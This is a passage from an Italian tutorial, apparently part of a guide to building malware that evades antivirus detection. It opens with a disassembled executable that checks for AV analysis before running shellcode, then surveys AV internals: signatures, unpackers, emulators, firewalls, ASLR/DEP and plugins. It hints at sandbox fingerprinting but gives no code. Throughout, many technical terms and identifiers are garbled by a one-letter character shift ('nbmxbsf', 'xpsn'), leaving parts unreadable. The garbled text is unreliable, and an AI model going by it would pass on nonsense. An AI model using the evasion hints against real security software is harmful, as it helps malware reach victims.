scopo di controllare se ci troviamo sotto analisi da parte di un AV (funzione spiegata                             
successivamente nel capitolo dedicato). 
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Questa è una rappresentazione grafica del nostro eseguibile della funzione principale __main, la                         
funzione principale del programma. Il suo funzionamento è molto semplice, ed intuibile dal                         
disassemblamento: 
A parte le prime istruzioni, che aggiustano lo stack e vengono definite il ​qspmphp di una routine,                                 
vediamo una call alla funzione ​``ujdl​. Questa è corrispondente ad una funzione del programma,                           
denominata proprio ​ujdl)*​. Con un doppio click sulla chiamata possiamo vedere anche la view                           
della funzione: 
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Questo è il funzionamento della funzione ​ujdl)*​. Dato che non approfondiremo il                       
reverse-engineering, non approfondiremo ulteriormente il funzionamento di questa view (il                   
codice C si può trovare al paragrafo ​HfuUjdlDpvouç​di ​BWçCzqbtt*​. 
Ritornano alla nostra funzione principale, viene comparato il risultato della funzione (contenuto                       
in ​fby​) con 1, e successivamente effettuata una condizione di salto. Se il valore è 1, allora                                 
richiama la routine ​``fyfdvufTifmmdpef​, altrimenti concludi l’esecuzione del programma.  
 
Possiamo inoltre avere un’idea delle funzioni utilizzate dal menu a sinistra ​GvodujpotçXjoepx​: 
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Anche l’esadecimale nella view ​IfyçWjfx​, le funzioni importate, così come molte altre cose. 
Come detto direttamente dal sito ufficiale, le feature sono talmente tante che elencarle sarebbe                           
impossibile.  
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Antivirus 
Cosa sono 

Il compito dei software antivirus è quello di proteggere il computer da software che potrebbero                             
infettare il computer, denominati genericamente ​nbmxbsf​. Questi ultimi possono essere                   
classificati in maniere differenti: Trojan, virus, rootkits e così via. 
L’Antivirus, tramite diverse tecniche che vedremo più avanti, si occupa di analizzare utilizzando                         
tecniche differenti, file presenti all’interno del computer, e di conseguenza di disinfettare o                         
eliminare completamente il file, nel caso in cui quest’ultimo fosse considerato malevolo. 
 
La maggior parte degli AV (abbreviazione di Antivirus) sono scritti in ​codice nativo​,                         
generalmente un mix tra C e C++. Questo perché questi ultimi, una volta compilati, vengono                             
eseguiti direttamente sulla CPU, offrendo molta più velocità rispetto a linguaggi interpretati, che                         
richiedono un ulteriore livello per essere eseguiti (una virtual machine integrata all’AV per                         
interpretare il bytecode) . 
La ​velocità​, per un AV, è molto importante, quasi fondamentale. Deve essere comodo per un                             
normale utente all’utilizzo giornaliero, impiegare poco tempo sull’analisi di un file e utilizzare                         
poche risorse, per evitare di alterare in negativo le prestazioni del computer.  
Per questa ragione i linguaggi nativi sono la prima scelta per lo sviluppo, contro i problemi                               
riguardanti la sicurezza del programma.  
Difatti, questi linguaggi non offrono nessun meccanismo di protezione verso la corruzione della                         
memoria (ad esempio buffer overflow), come invece fanno i ​nbobhfe mbohvbhf come Python,                  ç      
Java, etc.  
Questo espone un rischio ancora maggiore verso l’utente finale, un piccolo errore di                         
programmazione nello sviluppo dell’AV può portare a exploit diretti verso quest’ultimo,                     
diventando così esso stesso una sorgente di bug. 
 

Caratteristiche comuni 

Scanners 
Comune in molti AV, permette di analizzare una serie di file, cartelle o addirittura l’intero                             
sistema, tramite un’interfaccia (GUI) o direttamente da riga di comando.  
Inoltre è spesso disponibile l’opzione di analisi ​po.bddftt​; ovvero ad ogni accesso alla memoria                           
(creazione, modifica, esecuzione) eseguito dall’OS o da software esterni, viene eseguita una                       
scannerizzazione dei file in questione. 
Risulta però allo stesso tempo una componente molto ‘attaccata’ e soggetta a vulnerabilità;                         
potrebbe risultare un problema, un bug nell’analisi di un determinato file, che potrebbe esporre                           
ad un rischio di ​bscjusbsz dpef fyfdvujpo​, anche se l’utente finale non esegue direttamente il file        ç ç                    
in analisi. 
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Signatures 
Questa analisi è presente in qualsiasi AV sul mercato.  
Il compito di questa componente è quello di determinare se un file sia malevolo o meno in base                                   
ad una serie di ​tjhobuvsft​, ricercate all’interno di un file.  
Le tecniche più comuni sono: 

1) Pattern ​matching​: ricerca, all’interno del file, specifiche stringhe ritenute potenzialmenteç                  
pericolose. 

2) Hash ​MD5​: permette di ricercare file specifici, ovvero malware già precedentementeç                    
riconosciuti. Esegue l’md5 del file e lo compara a stringhe di hash conosciute come                           
malware. 

3) Checksum​: esegue la checksum di spezzoni di codice, andando a fare, come per l’MD5,                           
una comparazione con stringhe già riconosciute come malevole. 

 
Esistono svariate tecniche, le 3 appena elencate sono solamente le più comuni utilizzate dalla                           
maggior parte degli AV. 
Lo svantaggio di questa metodologia è che molte signatures possono generare ​gbmtj qptjujwj (file                      ç    
‘puliti’ che vengono riconosciuti come malware) o addirittura ​wfsj qptjujwj ​(malware riconosciuti                ç ç    
come file puliti). 
 

Archivi 
Un AV deve essere in grado di navigare all’interno di file archiviati (come .zip) e compressi, e                                 
data la loro vasta quantità, deve supportare diversi formati come: ZIP, 7z, RAR, XAR e così via.  
Questa componente risulta molto soggetta a vulnerabilità. 
 

Unpackers 
Un unpacker (=spacchettamento) è una routine sviluppata per spacchettare file eseguibili                     
compressi. 
La tecnica di ​qbdljoh risulta molto diffusa nello sviluppo di malware, in quanto permette di                             
offuscarli e nascondere la logica del malware, eludendo i sistemi di sicurezza. Semplici ​qbdlfs                           
uppm applicano semplicemente una compressione, conseguentemente non creano difficoltà                 
sullo ‘spacchettamento’ di quest’ultimo da parte degli antivirus. Ma non esistono solo semplici                         
tecniche come quest’ultima, esistono tecniche molto più avanzate che rendono difficile                     
l’operazione inversa.  
Nuove tecniche di impacchettamento sono in crescita quasi quotidianamente. 
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Emulatori 
Un emulatore permette all’antivirus di eseguire un file in una SandBox (un ambiente slegato al                             
sistema operativo sottostante), con lo scopo di monitorare l’esecuzione del programma e                       
determinare azioni potenzialmente pericolose. Viene eseguito all’interno di una SandBox in                     
maniera da eseguire il potenziale malware senza andarlo ad eseguire direttamente sul sistema                         
operativo, causando possibili danni.  
Tra gli emulatori più diffusi c’è sicuramente l’Intel x86, ma si possono trovare anche emulatori                             
per virtual machine con il compito di investigare su Java bytecode, Javascript e così via. 
Per quanto può sembrare un’ottima soluzione per monitorare le azioni di un programma, risulta                           
facilmente bypassabile; uno dei motivi principali è che non tutte le istruzioni per la CPU sono                               
integrate e che è molto facile riconoscere (​gjohfsqsjou​), nello sviluppo del malware, se si è in una                                 
sandbox o meno (tecniche che vedremo più avanti) . 
 

Svariati formati 
Esiste un incredibile numero di formati che un file può avere, di conseguenza un antivirus deve                               
essere in grado di analizzare qualsiasi tipo di file gli capiti sotto mano, e questo risulta essere                                 
spesso un problema. Per elencarne giusto un paio: HTML, XML, PDF, JPG, PNG, GIF, ICO, MP3,                               
MP4, MOV, PE , ELF, Mach-O, OLE2, e così si potrebbe riempire un documento solo per elencare                                 
tutti i file esistenti. 
Questo risulta essere un grosso problema per gli AV, dal momento che un exploit appare per un                                 
nuovo formato, questo deve essere in grado di supportarlo e controllarlo. Alcuni formati                         
risultano così complicati che anche gli stessi autori potrebbero avere problemi a correggere                         
possibili vulnerabilità. Figuriamoci se questo lavoro devono farlo gli sviluppatori di antivirus per                         
prevenire possibili minacce, andando ad applicare tecniche di ​sfwfstf.fohjoffsjoh​.  
Questo problema risulta quindi la parte più esposta a vulnerabilità per un antivirus. 

Filtraggio di pacchetti e firewall 
L’antivirus implementa spesso firewall per il controllo delle connessioni in entrata ed in uscita di                             
un computer. Questo perché, dagli anni 90 fino al 2010 circa, ebbero grande diffusione un tipo                               
particolare di malware, i ​xpsn​. Questi ultimi sono dei malware sviluppati per abusare di diverse                             
vulnerabilità remote presenti all’interno di un sistema. 
In conseguenza, gli antivirus installano drivers per l’analisi del traffico di rete e, come detto                             
precedentemente, implementano firewall per la prevenzione di eventuali worms.  
Dato che i ​xpsnt​, sono diventati sempre meno efficaci (in conseguenza alle patch dei sistemi                             
vulnerabili) e dunque sempre meno utilizzati, queste difese da parte degli AV non sono state più                               
aggiornate, portando con sé una buona sorgente di bug inerenti a questa tecnica. 
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Anti-exploiting 
Così come molti sistemi operativi come Windows, Mac OS X e Linux offrono tecniche di                             
“autodifesa”, anche gli antivirus cercano di difendersi da possibili exploit che potrebbero                       
sfruttare di possibili vulnerabilità presenti all’interno degli stessi.  
Tra le tecniche più comuni ci sono ASLR (​Beesftt Tqbdf Mbzpvu Sboepnj{bujpo​) e DEP (​Ebub                ç ç ç       ç
FyfdvujpoçQsfwfoujpo​) che discuteremo più approfonditamente in seguito. 
In breve, ASLR è utilizzato per prevenire tecniche di ​cvggfs pwfsgmpx​, andando a randomizzare gli                  ç          
indirizzi di memoria di un programma secondo speciali algoritmi, in maniera da rendere più                           
difficile (anche se non impossibile) il lavoro di un attaccante. 
DEP si occupa invece di assegnare il privilegio di esecuzione in una determinata regione di                             
memoria, prevenendo anche tecniche di buffer overflow, e modificando inoltre anche la tecnica                         
in cui andremo ad eseguire lo shellcode all’interno del nostro ipotetico malware (andandolo a                           
scrivere all’interno di una memoria ​ifbqç​con privilegio di esecuzione, per poi eseguirlo). 

 
Plugin system 

I plugin, non essendo una parte vitale di un antivirus, permettono di aggiungere funzionalità allo                             
stesso (si potrebbero paragonare alle estensioni del browser, ad esempio). 
All’interno degli AV possiamo trovare molti plugin, come potrebbero essere mirati al                       
caricamento di un determinato formato (PDF, PE,...), emulatori, Heuristic engine e così via. 
Questi vengono caricati runtime in maniera differente per ogni Antivirus. Ad esempio, una tra le                             
tecniche più utilizzate è quella di allocare pagine di memoria RWX (Read/Write/eXecute),                       
decriptare il contenuto del plugin all’interno di esse, riallocare il codice e infine togliere il                             
permesso di letture (W) dalle pagine di memoria in questione.  
Un’altra tecnica è quella di inserire i plugins all’interno di di Dynamic Link Libraries (DLL), in                               
maniera da far affidamento successivamente alle API del sistema operativo (​MpbeMjcsbsz ​nel                    ç  
caso di Windows). Ovviamente, per protezione, queste DLL sono spesso criptate (generalmente                       
con semplici algoritmi di XOR, dipendenti dalla casa produttrice). 
Le seguenti analisi che andremo a vedere, sono plugin integrati direttamente negli AV per                           
analizzare diversamente i file, andiamo dunque a vederli. 
 

Analisi statica 

L’analisi statica, come si può intuire dal nome, è un’analisi che viene applicata generalmente                           
come primo approccio da parte degli AV, senza eseguire il programma. Essendo un’analisi                         
relativamente veloce ed immediata, permette di filtrare i più semplici malware senza dover                         
eseguire analisi più complicate e lente.  
Il vantaggio della velocità va in contrasto con la reale efficacia di questo metodo. Risulta                             
comunque molto efficace, come detto, per malware che vengono riutilizzati (di conseguenza                       
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